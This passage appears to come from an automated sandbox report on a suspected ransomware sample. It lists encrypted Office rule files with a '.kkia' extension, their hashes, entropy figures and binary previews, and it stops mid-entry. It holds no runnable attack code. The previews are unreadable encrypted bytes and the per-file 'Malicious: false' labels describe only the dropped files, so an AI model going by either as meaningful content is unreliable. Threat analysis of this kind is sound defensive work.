Preview:	<?xml...\a.....9...WH.......m.Ll]\...m.o.{....[-......L.P.....Q............>.......q.TE,..v...M.......3F..=e...w.........V...........[b.i'@.o....B...)..C..{P",.n"..Z7.t.H..3..m.C..r7..;C.5...[nr'...!.....e4x.,.e.],....(+..hH.o..?..I.@...e.......~...yS/.>.$>.3..N.AM.A..1`]..;.q.QH..e.h...@.../.....\.A.#..K.9......6-....`.p.0...P....%w.......`...........4.....of...A.VE...rpt.w4.z.5....Lw...}....s.D.d...XX$.c..(..h.H.x..I.r?..s\|.)..=+.E`.<.0.Y3.kR.ee[S.....{...h.-...(.c~.....#.d:...../.......f(.u9.-..../.q...`C..>Wg.3...F5..G....WP.c.QYai..^..0BV..$.....`..wL....:3.L........;8`_...........s..&.}..}+...lR:.......rEg..,E..dJzj.'GXH..n...z.qf..~~.Ja..N..<.......br#....A.o.l.....0..^....[.......h..W.......Q.?y..d...h.....S.....4P......Q.NW../..U:3(.....r...}.....~.u..0..!.pP...5(.....f...M........:.........'.....g.}.E.0$......Q ..R.V h.]X..XP...D...%.U.)JKB.......x.]...2.ka........`.g.O^.8..x.I8..W.'..'O:J+......+....-.v....T%.;..r..hr./D*".9.,..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100105v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	7.825041210197055
Encrypted:	false
SSDEEP:	24:J7e15axnajQyNFjuhHeomw+/bi3FiQ4JDV3jXD+6F4i2S57KkbD:J7a5axnutShHeoQDi3FixJDljz+6F4R+
MD5:	66493CE9276D5B62A8E2AA57BFBB7A62
SHA1:	245C99BF088BEB6477A6F981CA230952F1213E93
SHA-256:	BE3499CAACDF6960156D04575CDA12F34245D9C5A6EF9053F60EFA7CAC377CA6
SHA-512:	400798D0055D6202AB222B8CE67507CA157CF01D4832C4656C61ED687C21200297CCC9AD676EC8E1B98B82D2BA9EF502393D031430393D3E777AD96899AC4004
Malicious:	false
Preview:	<?xml..(CL.;....Qp'..b..<...e..+q....o6.(....R+.NK..j.!....#R../o...f.}nC..^iak.....VD..0..._..`.N...T.B.....'.Y..O."..._O.tF\-....r..z....l.g...4....k<.{..P`D!a.j(L..B.9....R.C.....B.B..jn._.%@.i{....4..5..\)..8...bl..#..<...E....Fhjt..?..7.F+..._.I....@..s.@:R:/..l.=2..w.C2...&\|.6.m.t?V.......l`....^mb..n.bG.}...D....<X.i.j..d...""...UL.u.u'..N?...l....q.o.._..]+E[0..!......4......+..............j#.p..;...+.....8.....t...S).......V...N..j.9i...,.:..y.x...i..(D....+...b...GD.h0..#..@.d.O.P..K.~....../.....u...5..".Cw3S.h4.....DI.F....h.......{...l......z&...N.7{..w,..I3..8....i.....edW.I..0...n.....d..>j\|..%..-B..UE.!V..w..../...q;oc..(.<j..r..4...D..\|b.]._......{eO.i...........b....H...L.\|.q.H...p.m{Y.......4.e..o[@..q..s.9o.1..C.E......\|5..L..[..........X.2....!)%.x...,.w..SW,...Q.......Q.0.])..&. ..!/.......PF2{2Od..4..].k..c....&..l.zo.k.k/1.L..h.y).-....T-...._mT..F..I.>...<~~c.I.T~.-.I..&EJ..[.!...R.1U...l./.@.Rgdw..$.X.Yt

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100106v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1379
Entropy (8bit):	7.8508414464081655
Encrypted:	false
SSDEEP:	24:5GTTBCwOyRfUBFQEBBwlnGu2Jp4m8RjHMHiYrciEpqknEpk797B96T2VxfN6IJGL:C0wOyRfwFQEQlGunm8RjHhgciMh776Tj
MD5:	49FBFD056D66E1772BDBBD804968011D
SHA1:	6A6D28B225C837CAF4ACAAEFA87D0835EFE0FDB1
SHA-256:	B77A5157678AF3F5FB9740A39E5AF8F123780AB87F4F192CA18357388FB1959C
SHA-512:	6A32D6F8C108D7DE11354B54EFA3AD70D007D1AA86D1D097158521202CDE8D46D1C39026D0237A8484EF8187D8148080234F4C20701A98A50F354A96CB10983C
Malicious:	false
Preview:	<?xmlY.]?.o:.V.]...n....f.B..l.....Q..U.-}Xl..........0...>.5H.q..6[.?5....>..\.9...K....B.A8.3..).SY`.~.O7.s$A..n$.,.....(s`z(...YH..}.U.<........._.s.=....9!..8.^..O.D...{.....$..r...T.......,,`9.T`w.^>..N.Z$.Ki.o...l.."i..N....}/r......P....\{...6..U[..>..X.O..q3.`.....Pg.%.s..B.q.-........L..L"ngV...c3.:.M.uqZ{;.......y>7..R.)...t....#.=w.^\|.>.<.X.>nF...00......q.....G.mC=......G.#:..R.ih.f..Fp...7.y.`........d'Q-K. ...[...!}.`.O...`.a......<...M.,w.VF.......p.lM......{.u..1...R...`..Q....\|~..x.t....r~..l.{.fW.k....zd.../O..1......-]Y.@..2.5..L.\|.8.F.6..W...9......?.A..h/.V.9/LVy..$./.r5..U..jU.4.%X........\|K\H<...T......p.....<.....!,..<:$..G,W0...xc..g.....Z..#.h...)..t.k.M...C....UO..=sZ.:`s$.8...L...,7:...3..W .z...`......6..g...!...8.....mr5i....iy.3.g.z..,....v^[j...j.m>.w9oH...B.".(...#..z.rxt.F..(!M..>gAe....7[..@6..^.b.p0%..Y....ShAg..Z...W)..Z.{..2.....t9A.K&..eu..r.`.b...P.z;y.?.b{..+...H.<.....$....X......I7....l_..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100109v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	7.729692347832378
Encrypted:	false
SSDEEP:	24:jmh9jRUZ7ncl7y0xkkr3Orjnf6ZibCJV+9mk0+nkbD:CJwqyIk6giZCCJQ9b0bD
MD5:	0F2AC43EEBDD4DF7877F09B274A1C85C
SHA1:	464BBA59524CAC042604AC2867686B600A4A8B47
SHA-256:	BA3B8F941D8DC768C022A6C46287B4402B65984EE44D2BA89266B9A6E997DB7C
SHA-512:	7DF536CD840484C896E29707C3B199210E2C3775D5968A680395472E7A94E4F06724630B97B15332AD0ADD18F2A28A99EEAEF254FAC0E0A70D2F6ED5AD729E9B
Malicious:	false
Preview:	<?xml....'3......r.~.U.....Lh`Y'MJ{4...p..#Z}.&..'E.0.'ZY\|..>.9:.D'df...Fn.G..0AJq...G..@qF..G.....6.g.. A1....zv..[...T.=.Z.\.>8 ..d...Mc.V.p....Ga`FK..V.._WV..3.6[....8Q..._..,}..V.....S..[N.....p$H...b.7..O.I.D\!w.......h...#.....Z_........!rF[S.]..H;L..,.^fI.In.Q.$\|=...E.k.d.....F}.+.......9.".-.T....q.L....].F8..t..4.KR9.A.@e..'C........\..r...Umj.O.....9.r.d'..;...;.l..4.(.;..1..L.....Rv.Dv...[EF.i&...#...YpQ..lM..<.=t.w...@..S...B;...3..........;b....QW.....L.F.....D.Z.\|........;........m...s......ph.C......ob.D+.c..A.......[.p......(..B.Q..{.....o.[...a....7w.T..[59.Z........!...z....s.."....y>.Z.ZOy....q..Z,.K.$..s..{s..Y....x..Z....)....d.P...d'>!......tQ.]'...r.e;...sE......s.....6..'<...o....0.P...e.1.W.\f0.Od....\|..m.GQ$....7.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100110v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	794
Entropy (8bit):	7.746956971571226
Encrypted:	false
SSDEEP:	24:7PkG9Rqu1QlZRXNyz4ov4np/BtBjGj4puhK0JqchZJkbD:DFRqu+xNWT4p/BtbAzfwD
MD5:	6B37D97527FE950B6FB859B4F9952ECC
SHA1:	5ABF172C5865C9F0293881664E9104DDE279F57C
SHA-256:	6A6A267CC0BBDACC441ED54237C2D7135F6B121124206C21F2B27CDEF1654331
SHA-512:	CDCD2B941364BC3175DBE792BB36F810192C6E5AA5ADD0AF44F345B86C76C25F39207386896898EAF6D9DF837C2664C4ACE5321206FA16C9617A9F38D603BA5F
Malicious:	false
Preview:	<?xml....R=Bht..8.5KzBB..tGv$,..I.j..\|. ...wW....Pv.2X.<....6...c.4"n[...K.U.`!..`{8.F9r..R.%..{i....Y.{(^_..~...^..............hL..s...P3y...=.16....l...q.w[>..\..x...0.{.W@....V.U...\|A.[2.d..srl..;...l.2.'...G..m.Xm..\..J...2.......0..LY..^......$..Zv.+.E...\j..;......F..;%.=...s.....:Og....{...9.Z...p1.d...3....i,..eG.2.C..E.<..B...h'j..5.....NW.-M.......C.. a..TH.Bh.q....z/.]3..E.x...`O.DL.H.G,+-...Ju...F.o.(......Q.......I.==..[.0.......n.....P<\|.y..!\|.'m..X..e.Nz.f.....vX.].4.\.\\u..u2H.R'\.m..}0...0H.....Y[...@.m)......:z...&s..r4...3.-W<O...B...#.....\4.Y.....l....a#T.h.N..X5.M2L.a.!.f-.V[,....}..%.......0a...x.....'w.j..l....o1.t."..H.Z...;....j. 8.....6.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100113v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.718238141220612
Encrypted:	false
SSDEEP:	12:oAoSYVcjk6WE+SHpCspNUBxgFvnwyYnVzadgP0welElCP8uR3/P14lz1ybKoPrgX:oHSYVNEH0a61nVzWGE8u1kzkpkbD
MD5:	1D52110AD01D51CAD2C3E314DCB11612
SHA1:	D68065071F937773579453DD0A05CF07CE4207DA
SHA-256:	51D7572DFC279B5D7ED4ABF235806040C16904C4E8AEA1A1C11C260783E0A302
SHA-512:	8CB79F639AFAFE4B8208E3CBDB73506027DB315BB39E20934442E1868109BCDA80E8E2B292141272809B10453D9B3D847FC968489B719FDD4D00E02FF3CBC3ED
Malicious:	false
Preview:	<?xml.%...>..w....8-..O../..,#...'.K.......4...a.....O0.,........u......}.......Un~S.10l..Z..^.H..c..\)..ET..O..31.. .q..w.-..j....I/vb..U4..'y....N.#.Q.^H...!=..w1W.FD......%.RRV...t....^...?..&...U....F....E...pV..K.xc.6$16.}.....^i.\|...5@K..1.A>.........d.Ex.\|@O...".wS..=.K...........{.....?..d....A.=JR.<..].f.ji....b7.-..k...51.M....G%..W...`....S".+.?].U....Ck....=.2.............\|..=.}..]..#.9.N.Y..>.c...}.LA9ng..0.c..k.G..a}...._.5..e&.k.....2.k\...k".d..n.-.X.......Y....=....).P.$k.Y&O<!...i!.....,<@.!b...qt.'...g.......krw/an....G......w..(.^..\..H." .u.9..y.;.......`......V.r..Y.`@h......._............b.....>.h.H$.0W.4..5../3.<3..../...v5.2.n\..#..9..).o......r[.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100114v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	794
Entropy (8bit):	7.685401506724358
Encrypted:	false
SSDEEP:	12:aVi7UxTvMrINbr++aUDjUxY+6d0ekE6i8f7kXlfu124CaQS1GLxAM6+hsoV7yUIB:trm++aUcyb36pTqMIugbbRIEkbD
MD5:	19B75595BB2A5E062DD7DE99E7074A43
SHA1:	D0553541703596B2D81B581F8248EDF4B772AFA9
SHA-256:	4B7AAA8EC49F06DC161F7421975E53FABFC359FB5E4131D3277AA9EFF1D4A98B
SHA-512:	2FF21DB16E359920E5155718B3E07BA3D1DDC9C69DF224C4C04DC037ACD6257A9A3691D08F42DDF581BBBCAA9ED13E895B40089A721502B2970E8D432081D2FF
Malicious:	false
Preview:	<?xml...v.....<X.m...66,.._[...=.o..O.g...[0.e@.....Z..w..U+Z..........6.^F!8n.0...V..F...>).2..p......i.X..V...?.!...v3.@..;..(.I4X..GY.N..>.Z.<$.z...i..H..;j..U..9.Hl....r....b.t...,.X)..$O.J........zP]^!.....&....).>q4..y.^v...w{....{T}....g(y...w.A.-.z..X;..aLP!~.x.....'.AZb....as..~yE...U..xj...Y.D.o.x..'..D...wE..B...4....fF..lK.u..T.p...........Z....\|..0..%[..q..H..G..KU..S..s.q{....V.>.G."715.5..!.F..g....G?.rx....!(.....@..o.... ......0.........4..o.V$..l..I._.K>).?..K.....B......8..Pf.b.Mc.?.q......Q.PP'.......(....x{.@....HA. ,.i.}.....1.h.o..O6Lf.......{Q`IB...==.09.oJ....7.,.u.O.....l.....e..5._.....C..%..SQ6..^.....L...\M..h........{.gz}.Z...e/.Okh.F.....#dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100115v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.714471882324789
Encrypted:	false
SSDEEP:	24:YYNY6GskO1rhZgBNgmGG/rCdLla6WRtIkbD:dN9G18jgImDzCzWxD
MD5:	9862855F228B8E0247947FA9735BDAD7
SHA1:	607DCAF96D2ECC9F6CE5C8B387929F84235AF5AD
SHA-256:	474D5A4FB12D740670B9FEBF99BED51C853605E16C5CBF13F4265DD468C3AF65
SHA-512:	CEF892ACADB42AC25FE656C408E92A391AE7A22DC834C7BEE0EA2FEBC9598A6A122AF305CF1FE09D694C38B8B13F2EE8FA6373E54AB942782EDC030BDBAE3B53
Malicious:	false
Preview:	<?xml%.-N.3..;R@..H._MyH..9,...D8.Z.1@.V(.../..A... J.w..c.0.0($..r..k...:.A...U+_..q...A..gn.....Q.f...x.%h.2.y.s......n.L.(P.@y.nWc...........d.y#....U.'.....>.2....-Rl`.....&.0.....-.m.....n[.bHJk...+G..AE.2..&.U 2...Q`.uT.k....<.w.....'.;[...c.7R/.W..[.{.8Z.............G........'u...2.I$..u.!...6v.0..A.I..U.m...._W.S.......q^<+w...;`....S9{.....qf...&&.!W.p.Z.+P...<._..f.Qj...}n..T.`>A.2./.a....6.....,..V......N(vr.......<.p..d,Qia..EX.4..>......Q...<..N...ft..y.X.dp<...8.d.....O~.@.oD.6..t.?...F=..i}n(.+\WI.M....'>CGJG;uKqm(.J...3a.{7......"T.....Z..8.o.<...}.Z:{.}.2!$(...H.I......?.&....Q............/...N.....G..>~.Y.)......)......V.../s........>..n\|LB.*.2G..t.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100116v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	795
Entropy (8bit):	7.734105211909435
Encrypted:	false
SSDEEP:	12:10Fj2Dz+Z+zxIZDpwbGPDihNTCSrVc4wB8mDkGLZcgPzOeToJdJ10P9jPrgcii9a:1kSnUAW1HP0CSr9WxDkGiiToWLkbD
MD5:	AF7417E87CD8BE65BBD152B55A5070C9
SHA1:	88B16A62BF9D494770F2527A185A8B413C277CC4
SHA-256:	B751E4FEFD6D60228C7299C5809255F0DF22929B880DEEE2306E2D79ADB267CF
SHA-512:	A5F268C89BF875D99231888F587F75BA82DCDC8283158E63638BABBDC57104BB70239297124448A17F19EE9DACF514E69CA83F1995FFF6AECEE642179959233E
Malicious:	false
Preview:	<?xml....n.chF....)g93...........u...6,..d..J(wh.`....0.jz.;u...[..(...k.E.....Q...j281..Ds"..I......}..zi{.+&.)n.....>.......Z..T.l..][]Z.....'u`.y..s..&..C...~...W..Ly.y..{.V...i.FY.........U..Zl.......4yu ..+U.].l.........2...{?F...Q.'.[..o.n.... .......+..\@...U..,I.5....l...Yu..w....[..fg].h39.iSQ..$..&P....hT..v{.s7.......6._....s%.T..v...&......x...R.@_..<..mA.er.W..x.U.-......"^-B..K...9..wo.!\|...?J%.....<.U.........Y..Y.+....3.'...U.01......6..w.....K...>...x&s.:O.....u.h...<....g..3..h.$%.<#../T}..PE.M.1@u.X.WI.X...O.a/UsJ&/.Z..z<..}..\|.G....IF....%YgX..i..QYt.........V...E........Z..S.O...t!._.....c7-.A.j.e^.9M...b.5.vF3.....8.r.Ez"%.wQ.y1. O..<b..)S..W.t......:dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100117v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	869
Entropy (8bit):	7.736365653829406
Encrypted:	false
SSDEEP:	24:iTuK1+OcwAoabesloLW4HZTJK8R+eyrkbD:iTuKc5w3cesloW4HVJK8R+eBD
MD5:	F16430B4DD8B2FCE73397358F239F056
SHA1:	919B124FA213A19E529BA561FEFD3254B2109F2E
SHA-256:	350734F5ABC01AF5D6065561EFF8AE6CB2D86C32135C4EAB26D8F1FFC9832EE5
SHA-512:	6A10B367DF60E05C06C710DCCB0D14866E04D8DDDE337A8191F6CACC957977F63D8A3A41F4A192552B76D740524CB828EF8F8F6DF04A9C1D2A53FCB5BAEC0FEF
Malicious:	false
Preview:	<?xmlR.2.1.Y.H..E';.B........v)..i.Jt0.....jC.-n.....C.:.r.Z.=.#..Pd......1...4/.......t}.... ;Y........c.($....@.sk........^...)S..;..G.x.hF.k..nUs...I.;~.3.Tz...=jV.......:o5xX...I.K}..).tt.....V.....\...!`j...\...^=h.a.JH....m...L_-.{.........^9.z`.. X..2..y....._.....IYO...d..kx.89...g...3.s.)x..m..V.#x.....d../]R.c...i..4.c.Q......'..=...,J....d.{61WR..2.9....s.H..wy...&......qZtHQ...6.'V..."HE0X.!.'..i..B.c...C.f....:1.....g....i../...F.c;.Z.<..X.f.c...`.L.A...+:..w.v....j.S!.......b....aP..z)...........}e.=.....}/..l.]..b........f9}D..._.~..T7. .o}YI'e<..c8..W5s..GP.~5~. .$.?aBO+[.....T..s.;.@..k..E...(.3...\Y.....N......[Ih..e'...&'..... 4....S8.=vG.......M...J....:...y.[2.D..TwH...oU........BS..o!.r..[Jj....P...Qwmw....{...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100118v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1014
Entropy (8bit):	7.773301098976076
Encrypted:	false
SSDEEP:	24:Udr5CY7WvGGDgJ8sXn/d22WtsSm2PaergmdkbD:or5CPvLk8inctbPFZsD
MD5:	DF159533DF88FCFC9337E41FC40A43AF
SHA1:	9C6DC1AA75DE1DEF249F73D046D9018F8EA8D547
SHA-256:	D0ABAC6CAB9C9A3A0D29BBDFCE23554A724AFB23C3B2D9AFD5B300F15AC76EA0
SHA-512:	49E490F552EFF91A44C587F764FE544A15CE123CA0083DBC804270EBDD16C95B18972FA89B9DD780E27F20B557A0E4E335BA0CC9946D57AE25CD1B4F41A5B28A
Malicious:	false
Preview:	<?xml..C.@I.X...P. \.KfK....E.\|..QRPNF.:...'..c...w...........0.2.B.....r..@_+..zrl.F..x.}...^..".R..HN.\.$2..).lX.-.......1..1.x..1/...[..?Aho.i..l...e..-P.yn...p.....E:^.....D...&`.`..R?.)p?.S.6n.......D..Y.....E......b..).7.....x{)DW.4R.x.g&i.e..C.K.K.f~.(...#..Wx{..>......Y...K$..M.J.C.?B.....,p..e(...i...W.aA:.'.3...f..#..nyP......}..c.P.~.P.".?'\|.{....M.i\W6.sQ.r?"...sD.K!..m..&.l...u....i.~.g.....i,..2.]..5...b>w,:..T..@A...HEn...,=X.....8.Xg[#,`.e....:.;....ee..Sd.....\|....9.dK........k....K..'.Q..=.].R...{n .v.,.U...V$.....bZ.H@....V"...#d....L...N...QO&..:.....}.......YYd....[.r.ba#.....f)R..cTY.A.\>../.<.iD........a..........5.@.p.............0.`...g...Ct..K.F.jG.vz.....G.W.v..nb$..x.`v..W..RR+.`.....!..c./.=!.O..Y.....e5M..r..].J...Y.i:....M..X.wM.....Z..-cT@Wlw.l3.....:.Fe...G.&e.Kh....J...I... ..~..K.:..#F..Z..B..E?.@.h]`.y..2R.{)....QsE.k.\|.`..n]?..a...i...:{JodYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100119v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	7.857715120148279
Encrypted:	false
SSDEEP:	24:J6IRgMIlT6V6yVaWZ+8bMfUYiyihxfIeX98f7Pd1A+JeWUIX7bB5CGuqnSYI3241:n2e6yIc+8bMcYubwbw+JeWXQqnSYIOGD
MD5:	6E763448F614511EF8E7425619214A11
SHA1:	F3D39926F6488C60DD138E67711CAFBD9C8D0626
SHA-256:	ABDB113A778120553C5CCE60F3E4BD02BE5B21DE60C88AFED5EBBCF80F698A69
SHA-512:	ECD42686E3060BDD9CD95EB0218A02DE5EF7B2BE60BF20E4BEBE19E762D37F3448A664B3D010FE880789087FD99262AB4AD42D910C5905A66294190FFAC3E4D4
Malicious:	false
Preview:	<?xml..R.kn^\|..ghp....(...6....M......!..Q.W..H.sE.......Y..rG....G..\|.p.P..>v..pJ.qa..`f..]jM..mY..........g..d.V,......=@..V_..x..CAZT&.FWs.0.P...v.....B.e......p.~.!....u..r.K..I#I.~.....2.6?.. R{.x..C.1.....HD....wj9...>.3Ir.O.Ya:nmc..&..=.....z.pc.12...D(..6.<.S.e..(...\5.(\....>.^...R...h........_....W..6...}..*Z.Up.F............#.......'Q....N..../.d.....`-...._....Nbp......O..%...1c..Lq.....H.......2..5.+...... ...=#b.pA......~...V.T....zS.;.L.#...t..&.#u.Ft...a7.w.....a...\|...S....yN..d..._.....q.. .......>J&..C..z.b..>G..(.%]....J.....R......E..N...w..=.V[?Ki-.)..X....l.)..../"...J..=..5.C..MNv..d$..hy[4.m......iV..Rq..q.....R....8...w.I..............#..'..3x?.S..N....n.dz..Pj....k9..X..^.2[..G...1..0..5iEM......>........vR.]...'OP.1...u..K...+..L\|`<.GC.....#0....c.. ^EF&....pje....-...YCmyd.?9}.~.~.Y,...7...,[;....Z.%".Q..E..:d.y4..dm..zy;..s.....HL.X.9x.c..6...d._....$7.....Q...!(Q.M;.,>....!.........i....s.....E.../

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100124v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.7016227464583125
Encrypted:	false
SSDEEP:	12:Y+722Ib7Av4gcZ/gzcC0Q43TKHd3An+xZH4SVasFgQrtO+Prgcii9a:Y+7ScooV0xKH9hTH4IzrtO4kbD
MD5:	34363C7318FBD48A210F9AFC720EC709
SHA1:	CBA0AE424FDF08D95070ECAAC61C845EE5F4E898
SHA-256:	08FF634273745B362A60E322257F875358128105E05E0FCB0A7E0FCCD903C893
SHA-512:	C88B6282660DE454462D51D398E9F6446BCCEAFA8594C8FE9B7D56C1973A8672F074D2FBA937BC0462DE6DC686AC699987FB3A441E0A24A63647B7A6BB55DDFD
Malicious:	false
Preview:	<?xml.....l.P .ax8...4..v@?.t.[^.2...{.\.S..S...k\[Dm.l..&8.A\W..1\zH......'.....B..-..~.j.}{.L...-..C.....(r.g.S?...@....B..4...N.N..20C....<^H.<...V!vJ..M.....[.........U.2...?...c.J^.{....K.uD.=$al....r.B...h..-NS.Bs.._.....y.2....>..t6...n....'.y...w....?_.si..>....k>..u.](i.Jho-..<:."....,.@..".`.x..............H.......3.x2..%...I...j.XC.__....,1.g..p.T....@ :v9.n..[xoZ.xM.......f~..4..p....'NA.=H.n.in.h.z(.3....id...}.Y....;o-.?y..,...\|.E..[...o2.=..f...L.....5......Kr...1.O...Vk...].-..s.%...W..:.@H..@.3bN...F=......\.]..Q..p.U....cX..l"...bgL.+...!...t....d.J..q.X:....... ....$- ..N.1.F...L....>=.m....;...3.adYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100125v2.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	7.7692303885051075
Encrypted:	false
SSDEEP:	12:m1l5lfK6POV2qUOsv1SjrO+gKuZR+D7r50hIFYDBViBbaFpr1B2kycD9+YoYpN4y:m/jGHFWW50AYGZY3VDAQ/4hH1kbD
MD5:	76DCA3229435FAF1BC52012BE224FCD0
SHA1:	64E5D27AFA87142000DDE78D61A94F6955688835
SHA-256:	1CEEF25BC7C9BD0C03F28FD5546DC8E335B6E7F66280BAD3F320F2E55F5A89C7
SHA-512:	B3CFFDDEAE3567B32BB958CCD1351138BF2803B9D52DD25B57C69C9A02AF3C209CBB3DF67D10BC16664FE95674C11842B97AE6F17D0DFF3925F00946CE34C628
Malicious:	false
Preview:	<?xml....w..6..Yj......j....0.X.^...~*..{.....d..q>}.V.o.h;R.U.?U8 /....u...#.._..~.....)....{.^..L.?....}.W..).G0......4.!T.,....'\W.ga...a.[....\|..j=.TOk.^......Y.W-3...GbZ..w.V......U...J.e.ZU.U.z@.o.c.x.d.?..xY..\..;jC.U.i2....G.5.......R.8.$X-e...!..E.E=o&..9..b;..\....-,X~..6.8...#tt...M.P.A..c.g.}bE..._.../...m...6.i.../d]..x.9.>..~ ....z.....E...B.xo......l.]5.Z.0..\|....sy=]....y...{+e.~...@.v$#B.fXk........r....=..!....uwM......a')@t.R2......X.KI...B.)....[.....\|.#kD.........mj~S!.@....%....c1.[.L`..(}.N5...A@..f.6...J....~...u.C...(..o.......k..k..67't.7...).z1.....;..-......h.}.Q....A.z.=BSi.5..>.......c.6...'.....5..{.S..4...P.K.z...OZ.."..x...W9.O..8qw&.....W^..................y.!.!N.....T.l.ZN.5..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100126v2.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	849
Entropy (8bit):	7.717391412997289
Encrypted:	false
SSDEEP:	12:x8LVtZNWBjxCiaJf9OEXpPOO0+fmjRx4kcnR2UcuC9G+dU0RTuQSHNRcVkz+GcrO:x8RtyrWJ+6fKcROuGe0RTlqcV1zkbD
MD5:	EEC327CCCEBEA9EF949E891B7AA653D2
SHA1:	82C7F07EE7A31AFF10815E249C99867C7946F70F
SHA-256:	115D487E8FA556D58FD07F89E0FC880DCFECDF465EC3572B36A6234E195D202B
SHA-512:	F167BD5C7689A1872024B80387D7AFF2AF89A0921983DB212D9EE8BCA623D3C533DD41D5C9373680BE78B2987F4BE3064E77DD7E41DBCE9F4699D8F852B947C9
Malicious:	false
